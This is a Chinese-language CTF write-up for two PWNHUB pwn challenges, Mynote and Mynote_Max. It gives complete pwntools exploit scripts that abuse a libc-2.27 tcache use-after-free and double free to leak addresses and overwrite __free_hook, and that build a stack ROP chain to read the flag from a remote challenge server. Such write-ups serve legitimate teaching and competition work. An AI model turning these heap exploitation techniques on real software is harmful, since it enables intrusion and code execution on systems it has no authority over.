七月PWNHUB公开赛
比较常规的题目
# Mynote
Libc-2.27.so 下的 uaf,而且是有 tcache double free 的版本,利用起来比较简单,程序没有给 edit
将一个大于 fastbin 的堆块连续 free 7 次将 tcache 填满,之后再 free 一个该大小的堆块就可以泄露出 libc 地址
之后的利用很简单,直接打 free_hook 就行
# -*- encoding: utf-8 -*-
import sys
import os
from pwn import *
import galatea
context.log_level = 'debug'
binary = './My_note'
elf = ELF('./My_note')
libc = ELF("./libc-2.27.so")
context.binary = binary
DEBUG = 0
if DEBUG:
p = process(binary)
#p = process(['qemu-aarch64','-L','',binary])
#p = process(['qemu-aarch64','-L','',-g,'1234',binary])
else:
host = '47.99.38.177'
port = '10001'
p = remote(host,port)
l64 = lambda : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l32 = lambda : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b : p.sendlineafter(str(a),str(b))
sa = lambda a,b : p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ': 0x%x' % data)
se = lambda payload : p.send(payload)
rl = lambda : p.recv()
sl = lambda payload : p.sendline(payload)
ru = lambda a : p.recvuntil(str(a))
rint= lambda a : int( p.recv(len(str(a)))[2:] , 16)
def dbg():
gdb.attach(p)
pause()
def cmd(choice):
sla(":",choice)
def add(size,content="aaa"):
cmd(1)
sla(":",size)
sa(":",content)
def show(id):
cmd(2)
sla(":",id)
def delete(id):
cmd(3)
sla(":",id)
one_gad = [0x4f2c5,0x4f322,0x10a38c]
add(0x90) #0
add(0x90)
add(0x90)
add(0x80,"/bin/sh\x00\x00")
for i in range(7):
delete(0)
delete(1)
show(0)
ru("Content: ")
leak_heap = u64(p.recv(6).ljust(8,"\x00"))
lg("leak_heap",leak_heap)
show(1)
ru("Content: ")
leak_libc = l64() - 0x70
libc_base =leak_libc - libc.sym["__malloc_hook"]
__free_hook =libc_base + libc.sym["__free_hook"]
system =libc_base + libc.sym["system"]
one_gadget = one_gad[0]+libc_base
lg("leak_libc",leak_libc)
lg("libc_base",libc_base)
lg("__free_hook",__free_hook)
lg("system",system)
add(0x90,p64(__free_hook))
add(0x90,"a")
add(0x90,p64(system))
delete(3)
#dbg()
p.interactive()
'''
@File : My_note.py
@Time : 2021/07/04 22:40:06
@Author : Niyah
'''
# Mynote_Max
在上一题的基础上加了限制,我的做法是直接在栈上构造 orw 链,刚好 9 次 add
- 找出存放栈地址的变量
- 通过 stdout 输出栈地址
- 在栈上构造 orw
# -*- encoding: utf-8 -*-
import sys
import os
from pwn import *
import galatea
context.log_level = 'debug'
binary = './Mynote_Max'
elf = ELF('./Mynote_Max')
libc = ELF("./libc-2.27.so")
#libc = elf.libc
context.binary = binary
DEBUG = 0
if DEBUG:
p = process(binary)
#p = process(['qemu-aarch64','-L','',binary])
#p = process(['qemu-aarch64','-L','',-g,'1234',binary])
else:
host = '47.99.38.177'
port = '10002'
p = remote(host,port)
l64 = lambda : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l32 = lambda : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b : p.sendlineafter(str(a),str(b))
sa = lambda a,b : p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ': 0x%x' % data)
se = lambda payload : p.send(payload)
rl = lambda : p.recv()
sl = lambda payload : p.sendline(payload)
ru = lambda a : p.recvuntil(str(a))
rint= lambda a : int( p.recv(len(str(a)))[2:] , 16)
def dbg():
gdb.attach(p)
pause()
def cmd(choice):
sla(":",choice)
def add(size,content="aaa"):
cmd(1)
sla(":",size)
sa(":",content)
def show(id):
cmd(2)
sla(":",id)
def delete(id):
cmd(3)
sla(":",id)
add(0x90) #0
add(0x90,p64(0)*4 + "flag\x00")
add(0xf0) #2
for i in range(7):
delete(0)
show(0)
ru("Content: ")
leak_heap = u64(p.recv(6).ljust(8,"\x00"))
lg("leak_heap",leak_heap)
delete(1)
delete(2)
delete(2)
delete(2)
show(1)
ru("Content: ")
leak_libc = l64() - 0x70
libc_base = leak_libc - libc.sym["__malloc_hook"]
environ = libc_base + libc.sym['__environ']
stdout = libc_base + libc.sym["_IO_2_1_stdout_"]
puts_addr = libc_base + libc.sym["puts"]
read_addr = libc_base + libc.sym["read"]
flag_addr = leak_heap + (0x5638eddfd320-0x5638eddfd260)
syscall = 0x000000000011007F + libc_base
pop_rax_ret = 0x00000000000439c8 + libc_base
pop_rdi_ret = 0x000000000002155f + libc_base
pop_rsi_ret = 0x0000000000023e6a + libc_base
pop_rdx_ret = 0x0000000000001b96 + libc_base
#59
lg("leak_libc",leak_libc)
lg("libc_base",libc_base)
add(0x90, p64(stdout) )
add(0x90, "a" )
payload = p64(0xfbad1800) + p64(0)*3 + p64(environ-0x10) +p64(environ+0x10)
add(0x90, payload )
stack_addr = l64() - (0x7ffc1e9c4bf8 - 0x7ffc1e9c4b18)
lg("leak_stack",stack_addr)
add(0xf0,p64(stack_addr-0x10 - 0x20))
#full
add(0xf0,"a")
#gdb.attach(p,"b read")
#payload = p64(pop_rdi_ret) + p64(bin_sh) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(pop_rax_ret) + p64(59) + p64(syscall)
payload_orw = p64(pop_rax_ret) + p64(2) + p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0) + p64(syscall)
payload_orw+= p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(stack_addr+0x100) + p64(pop_rdx_ret) + p64(0x100) + p64(read_addr)
payload_orw+= p64(pop_rdi_ret) + p64(stack_addr+0x100) + p64(puts_addr)
add(0xf0,payload_orw)
#dbg()
#delete(3)
p.interactive()
'''
@File : MyNoteMax.py
@Time : 2021/07/05 10:43:30
@Author : Niyah
'''
本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。